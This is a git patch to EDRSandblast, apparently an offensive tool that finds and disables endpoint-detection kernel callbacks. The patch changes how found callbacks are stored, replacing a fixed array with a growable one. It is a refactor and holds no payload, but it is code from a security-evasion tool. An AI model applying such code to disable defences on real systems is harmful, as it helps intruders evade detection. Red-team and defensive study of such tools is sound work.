From 4c2449cfd44ee16cf42acef7a9a7befe3678095a Mon Sep 17 00:00:00 2001 From: Maxime Meignan Date: Wed, 29 Nov 2023 14:25:39 +0100 Subject: [PATCH] Changed the way found callbacks are stored (removed the size limit) --- EDRSandblast/Includes/KernelCallbacks.h | 39 +++++++++--------- .../KernellandBypass/KernelCallbacks.c | 20 ++++++++-- .../KernellandBypass/ObjectCallbacks.c | 40 +++++++++---------- EDRSandblast_CLI/EDRSandblast.c | 8 ++-- 4 files changed, 60 insertions(+), 47 deletions(-) diff --git a/EDRSandblast/Includes/KernelCallbacks.h b/EDRSandblast/Includes/KernelCallbacks.h index eabeb52..11a2013 100644 --- a/EDRSandblast/Includes/KernelCallbacks.h +++ b/EDRSandblast/Includes/KernelCallbacks.h @@ -19,32 +19,33 @@ //TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc) enum kernel_callback_type_e { - NOTIFY_ROUTINE_CB, - OBJECT_CALLBACK + NOTIFY_ROUTINE_CB, + OBJECT_CALLBACK, }; struct KRNL_CALLBACK { - enum kernel_callback_type_e type; - TCHAR const* driver_name; - union callback_addr_e { - struct notify_routine_t { - DWORD64 callback_struct_addr; - DWORD64 callback_struct; - enum NtoskrnlOffsetType type; //TODO : decorrelate indices in CSV from notify routine types - } notify_routine; - struct object_callback_t { - DWORD64 enable_addr; - } object_callback; - } addresses; - DWORD64 callback_func; - BOOL removed; + enum kernel_callback_type_e type; + TCHAR const* driver_name; + union callback_addr_e { + struct notify_routine_t { + DWORD64 callback_struct_addr; + DWORD64 callback_struct; + enum NtoskrnlOffsetType type; //TODO : decorrelate indices in CSV from notify routine types + } notify_routine; + struct object_callback_t { + DWORD64 enable_addr; + } object_callback; + } addresses; + DWORD64 callback_func; + BOOL removed; }; struct FOUND_EDR_CALLBACKS { - DWORD64 index; - struct KRNL_CALLBACK EDR_CALLBACKS[256]; + SIZE_T size; + SIZE_T max_size; + struct KRNL_CALLBACK* EDR_CALLBACKS; }; - +VOID AddFoundKernelCallback(struct FOUND_EDR_CALLBACKS* foundCallbacks, struct KRNL_CALLBACK* newCallback); BOOL isDriverEDR(TCHAR* driver); void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers); diff --git a/EDRSandblast/KernellandBypass/KernelCallbacks.c b/EDRSandblast/KernellandBypass/KernelCallbacks.c index 6c1d332..2e5f7ee 100644 --- a/EDRSandblast/KernellandBypass/KernelCallbacks.c +++ b/EDRSandblast/KernellandBypass/KernelCallbacks.c @@ -58,8 +58,7 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine } newFoundDriver.removed = FALSE; - edrCallbacks->EDR_CALLBACKS[edrCallbacks->index] = newFoundDriver; - edrCallbacks->index++; + AddFoundKernelCallback(edrCallbacks, &newFoundDriver); CurrentEDRCallbacksCount++; } } @@ -78,7 +77,7 @@ void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType no TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring"); _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]); - for (DWORD i = 0; i < edrCallbacks->index; ++i) { + for (DWORD i = 0; i < edrCallbacks->size; ++i) { struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i]; if (cb->type == NOTIFY_ROUTINE_CB && cb->addresses.notify_routine.type == notifyRoutineType && @@ -138,3 +137,18 @@ void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) { void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) { RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE); } + +//TODO : put "kernel notify routines"-related functions in a KernelNotifyRoutines.c, and only left common "kernel callbacks"-related functions in KernelCallbacks.c +VOID AddFoundKernelCallback(struct FOUND_EDR_CALLBACKS* foundCallbacks, struct KRNL_CALLBACK* newCallback) { + if (foundCallbacks->size == foundCallbacks->max_size) { + foundCallbacks->max_size = foundCallbacks->max_size * 2 + 1; + PVOID tmp = realloc(foundCallbacks->EDR_CALLBACKS, foundCallbacks->max_size * sizeof(struct KRNL_CALLBACK)); + if (tmp == NULL) { + exit(1); + } + foundCallbacks->EDR_CALLBACKS = tmp; + } + foundCallbacks->EDR_CALLBACKS[foundCallbacks->size] = *newCallback; + foundCallbacks->size++; + +} diff --git a/EDRSandblast/KernellandBypass/ObjectCallbacks.c b/EDRSandblast/KernellandBypass/ObjectCallbacks.c index 965fc79..2d9f9ae 100644 --- a/EDRSandblast/KernellandBypass/ObjectCallbacks.c +++ b/EDRSandblast/KernellandBypass/ObjectCallbacks.c @@ -192,10 +192,7 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List); cbEntry != ObjectType_Callbacks_List; cbEntry = ReadMemoryDWORD64(cbEntry)) { - if (FoundObjectCallbacks->index >= 256) { - _putts_or_not(TEXT("[!] No more space to store object callbacks !!! This should not happen. Exiting...")); - exit(1); - } + DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType); if (ObjectTypeField != ObjectType) { _putts_or_not(TEXT("Unexpected value in callback entry (ObjectTypeField), exiting...")); @@ -233,13 +230,13 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR ")); if (Enabled) { _putts_or_not(TEXT("and is enabled!")); - struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index]; - cb->type = OBJECT_CALLBACK; - cb->driver_name = driverNamePreOperation; - cb->removed = FALSE; - cb->callback_func = PreOperation; - cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled; - FoundObjectCallbacks->index++; + struct KRNL_CALLBACK cb; + cb.type = OBJECT_CALLBACK; + cb.driver_name = driverNamePreOperation; + cb.removed = FALSE; + cb.callback_func = PreOperation; + cb.addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled; + AddFoundKernelCallback(FoundObjectCallbacks, &cb); found |= TRUE; } else { @@ -257,18 +254,19 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR ")); if (Enabled) { _putts_or_not(TEXT("and is enabled!")); - if (FoundObjectCallbacks->index != 0 && - FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) { + if (FoundObjectCallbacks->size != 0 && + FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->size - 1].type == OBJECT_CALLBACK && + FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->size - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) { //skip if last callback function belong to the same callback entry (preoperation) continue; } - struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index]; - cb->type = OBJECT_CALLBACK; - cb->driver_name = driverNamePostOperation; - cb->removed = FALSE; - cb->callback_func = PostOperation; - cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled; - FoundObjectCallbacks->index++; + struct KRNL_CALLBACK cb; + cb.type = OBJECT_CALLBACK; + cb.driver_name = driverNamePostOperation; + cb.removed = FALSE; + cb.callback_func = PostOperation; + cb.addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled; + AddFoundKernelCallback(FoundObjectCallbacks, &cb); found |= TRUE; } else { @@ -287,7 +285,7 @@ void EnableDisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS _putts_or_not(TEXT("Object callback offsets not loaded ! Aborting...")); return; } - for (DWORD64 i = 0; i < FoundObjectCallbacks->index; i++) { + for (DWORD64 i = 0; i < FoundObjectCallbacks->size; i++) { struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[i]; if (cb->type == OBJECT_CALLBACK && cb->removed == enable) { _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t%s %s callback...\n"), enable ? TEXT("Enabling") : TEXT("Disabling"), cb->driver_name); diff --git a/EDRSandblast_CLI/EDRSandblast.c b/EDRSandblast_CLI/EDRSandblast.c index 7f67508..bf91568 100644 --- a/EDRSandblast_CLI/EDRSandblast.c +++ b/EDRSandblast_CLI/EDRSandblast.c @@ -10,17 +10,19 @@ #include #endif +#include "CiOffsets.h" #include "CredGuard.h" #include "DriverOps.h" #include "FileUtils.h" #include "Firewalling.h" #include "ETWThreatIntel.h" #include "KernelCallbacks.h" +#include "KernelDSE.h" #include "KernelMemoryPrimitives.h" -#include "ProcessDump.h" -#include "ProcessDumpDirectSyscalls.h" #include "NtoskrnlOffsets.h" #include "ObjectCallbacks.h" +#include "ProcessDump.h" +#include "ProcessDumpDirectSyscalls.h" #include "PEBBrowse.h" #include "PrintFunctions.h" #include "RunAsPPL.h" @@ -28,8 +30,6 @@ #include "Undoc.h" #include "UserlandHooks.h" #include "WdigestOffsets.h" -#include "CiOffsets.h" -#include "KernelDSE.h" //TODO P1 : implement a "clean" mode that only removes the driver if installed //TODO P2 : replace all instances of exit(1) by a clean_exit() function that uninstalls the driver before exiting